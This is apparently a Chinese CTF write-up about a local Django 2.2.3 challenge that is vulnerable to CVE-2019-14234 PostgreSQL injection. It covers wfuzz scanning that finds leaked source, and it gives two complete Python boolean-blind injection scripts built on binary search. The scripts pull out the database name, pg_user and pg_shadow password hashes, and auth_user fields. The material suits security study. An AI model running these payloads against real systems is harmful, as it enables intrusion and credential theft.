这篇文章发表于 611 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

相关的题目在此下载。某学长这道题出得比较优雅,可惜源码还是给的有点少(或者说DEBUG选项没开),想复现对应的Django环境比较困难,也可能是在月赛的时候直接给了提示,然而我并没有参加月赛[doge]。

为简便起见,我对your_ip/settings.py中的内容进行了一定的修改,置DEBUG=True。设置该题目地址为127.0.0.1:30006

源码获取

这个直接扫就行。。我用的是wfuzz。

1
wfuzz -c -w .\wordlist\fuzzDicts-master\ctfDict\ctf.txt -t 10 -Z --hc '404' http://127.0.0.1:30006/static/FUZZ

寻找利用点

从泄露下来的源码来看,漏洞应该是在这里。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def query_ip(request):
dic = request.GET
dic = dict(dic)
if len(dic) == 0:
return render(request, 'query.html')

if not check_danger_string(json.dumps(dic)):
msg = {'msg': "hacker"}
return JsonResponse(msg)

# good idea for all kind of query
dic = {f"ip__{k}": dic[k][0] for k in dic}
print(dic)
my_ip = MyIP.objects.filter(**dic).all().values()
my_ip = [item for item in my_ip]

return JsonResponse(my_ip, safe=False)

my_ip = MyIP.objects.filter(**dic).all().values()这句中的dic参数用户可控,而且由于题目环境还是Django 2.2.3(存在着CVE-2019-14234漏洞),因此很显然是个postgresql注入的利用点。

接下来先不急,我们进入/save页面随便输入一组ip与域名,正确与否无所谓,仅仅作为之后可能需要的注入回显——于是我这里瞎输域名为mmmu.cn,ip瞎输为11.1.1.1

接着先测试注入点的情况。如接下来所示,

捕获

可见存在着注入点,于是接下来添加注释。

注意:这里的等号会引发意外错误,因此在特定情况下可以使用大于小于、between and、like等来实现替代,这在之后payload构造中非常重要。

捕获2

基本上已经能够确定这里的注入点了,盲猜一波布尔注入,于是尝试了如下的指令。

捕获3

可见当上式正确的情况下,网页会返回数据库中存放的信息。

爆破脚本

关于postgresql的payload我是直接从这里选出来的。一些东西就不多BB了,这里直接提供两个采用二分的注入脚本。

第一个脚本主要是把单独的东西全部提取出来用的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import requests
import time
url='http://127.0.0.1:30006/query/'
proxies={'http':'127.0.0.1:8080'}
flag=''
i=1
while True:
begin=32
end=126
tmp=(begin+end)//2
while ((begin!=tmp) and (end!=tmp)):
#payload=url + """?ip')>'1' or (select ascii(substr(current_database(),{},1))) between {} and {}-- -""".format(i, begin, tmp) #ctf
#payload=url + """?ip')>'1' or (select ascii(substr((SELECT usename FROM pg_user),{},1))) between {} and {}-- -""".format(i, begin, tmp) #iie
#payload=url + """?ip')>'1' or (select ascii(substr((SELECT passwd FROM pg_shadow),{},1))) between {} and {}-- -""".format(i, begin, tmp) #md5eb3baa95dce94b3bc9919e3a612912f0
payload=url + """?ip')>'1' or (select ascii(substr((SELECT datname FROM pg_database LIMIT 1),{},1))) between {} and {}-- -""".format(i, begin, tmp) #postgres
r=requests.post(url=payload,proxies=proxies)

payload=url + """?ip')>'1' or (select ascii(substr((SELECT datname FROM pg_database LIMIT 1),{},1))) between {} and {}-- -""".format(i, tmp, end)
r2=requests.post(url=payload,proxies=proxies)

if 'mmmu.cn' in r.text and 'mmmu.cn' in r2.text:
begin = end = tmp
if 'mmmu.cn' in r.text and 'mmmu.cn' not in r2.text:
end=tmp
tmp=(begin+tmp)//2
if 'mmmu.cn' in r2.text and 'mmmu.cn' not in r.text:
begin=tmp
tmp=(end+tmp)//2
print(begin,' ',tmp,' ',end)
time.sleep(0.01)
if begin==tmp:
print(i,' ',chr(end))
flag+=chr(end)
else:
print(i,' ',chr(begin))
flag+=chr(begin)
print(flag)
i+=1
print(flag)

第二个脚本能够进行对多于一行的查询,其实它能够胜任第一个脚本的任务,那为什么不直接放第二个脚本呢?主要是提供两个模板吧,以便以后能迅速修改以适应对应的情况。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import requests
#import time
url='http://127.0.0.1:30006/query/'
proxies={'http':'127.0.0.1:8080'}
flag=''
j=0
exitflag=0
while True:
i=1
tmp=128
while (tmp!=0):
begin=0
end=256
exitflag=0
tmp=(begin+end)//2
while ((begin!=tmp) and (end!=tmp)):
#payload=url + """?ip')>'1' or (select ascii(substr((SELECT table_name FROM information_schema.tables LIMIT 1 offset {}),{},1))) between {} and {}-- -""".format(j, i, begin, tmp)

#payload=url + """?ip')>'1' or (select ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name LIKE 'auth_user' LIMIT 1 offset {}),{},1))) between {} and {}-- -""".format(j, i, begin, tmp)
### id password last_login is_superuser username first_name last_name email is_staff is_active date_joined \000

payload=url + """?ip')>'1' or (select ascii(substr((SELECT email FROM auth_user LIMIT 1 offset {}),{},1))) between {} and {}-- -""".format(j, i, begin, tmp)
r=requests.post(url=payload,proxies=proxies)
payload=url + """?ip')>'1' or (select ascii(substr((SELECT email FROM auth_user LIMIT 1 offset {}),{},1))) between {} and {}-- -""".format(j, i, tmp, end)
r2=requests.post(url=payload,proxies=proxies)
if 'mmmu.cn' in r.text and 'mmmu.cn' in r2.text:
begin = end = tmp
if 'mmmu.cn' in r.text and 'mmmu.cn' not in r2.text:
end=tmp
tmp=(begin+tmp)//2
if 'mmmu.cn' in r2.text and 'mmmu.cn' not in r.text:
begin=tmp
tmp=(end+tmp)//2
print(begin,' ',tmp,' ',end)
if (begin==0 and end==256 and tmp==128):
exitflag+=1
if exitflag>=3:
break
#time.sleep(0.01)
if begin==tmp:
print(i,' ',chr(end))
flag+=chr(end)
else:
print(i,' ',chr(begin))
flag+=chr(begin)
print(flag)
if exitflag>=3:
break
i+=1
print("OHHHHHHHHHHHHHHHHHHHHHHHHH")
j+=1
flag+=" "
if exitflag>=3:
break
print(flag)

获取flag的感觉还是不错的。

inj

后记

主要是因为postgresql还是第一次遇到,所以有了这篇很粗糙的文章。这题目出的确实不错,既没有花里胡哨的炫技也不难,却挺让我受启发的。